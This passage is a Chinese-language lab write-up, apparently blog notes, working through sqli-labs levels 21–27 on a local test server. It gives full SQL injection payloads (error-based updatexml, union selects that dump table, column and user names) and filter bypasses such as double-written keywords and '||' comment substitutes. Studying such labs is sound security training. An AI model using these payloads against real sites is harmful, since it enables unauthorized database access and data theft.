21关
经过这两个可知,有加密,使用了base64加密
解密后
base64编解码地址:
https://tool.oschina.net/encrypt?type=3
可以推出,我们需要在burp suite上将编码后的内容输入
') and updatexml(1,concat(0x7e,database(),0x7e),1)#
') union select 1,2, updatexml(1,concat(0x7e,database(),0x7e),1)#
同时因为有回显,可以采用联合查询
成功
22关
22关和21关相似,只是22关闭合符号是双引号
23关
在地址栏输入id,有回显
不能用–+或者#进行注释,使用了or '1=1
127.0.0.1/sqli-labs-master/Less-23/?id=-1' union select 1,(select database()),3 and '1
24关
二次注入
我看这篇博客很详细
https://blog.csdn.net/weixin_39934520/article/details/105620978
本关的目的是,你只知道用户名,却不知道密码,让你将密码破解,并用这个用户名登录。
过程
用新注册的账号登录,并且修改密码
此时用admin加上修改后的密码就可以登录
25关
用regexp(正则)替换or或者and
127.0.0.1/sqli-labs-master/Less-25/?id=-1' union select 1,(select database()),3 --+
127.0.0.1/sqli-labs-master/Less-25/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
or被替换了,所以informat中or消失了
双写可以绕过
127.0.0.1/sqli-labs-master/Less-25/?id=-1' union select 1,2,(select group_concat(table_name) from infoORrmation_schema.tables where table_schema=database())--+
127.0.0.1/sqli-labs-master/Less-25/?id=-1' union select 1,2,(select group_concat(column_name) from infoORrmation_schema.columns where table_name='users')--+
127.0.0.1/sqli-labs-master/Less-25/?id=-1' union select 1,2,(select group_concat(username) from users)--+
25a关
和25关一样,只是这个没有闭合符号
26关
闭合符号如下
如上图,本题绕过了注释和空格,使用 ||‘1’='1或者;%00绕过
127.0.0.1/sqli-labs-master/Less-26/?id=-1' || updatexml(1,concat(0x7e,(database())),1) || '1' ='1
这关先撤了,使用%a0或者%20代替空格,都不行
经过查看大佬的博客得出:
在 Windows 下会有无法用特殊字符代替空格的问题,这是 Apache 解析的问题,Linux 下无这个问题
26a关
闭合符
绕过的符号和26关一样
将错误输出注释掉,所以用时间盲注
27关
闭合符
这次明显比前几关需要绕过的多
在 Windows 下会有无法用特殊字符代替空格的问题,这是 Apache 解析的问题,Linux 下无这个问题
所以我还是撤了
union和select用双写绕过,报错注入可以用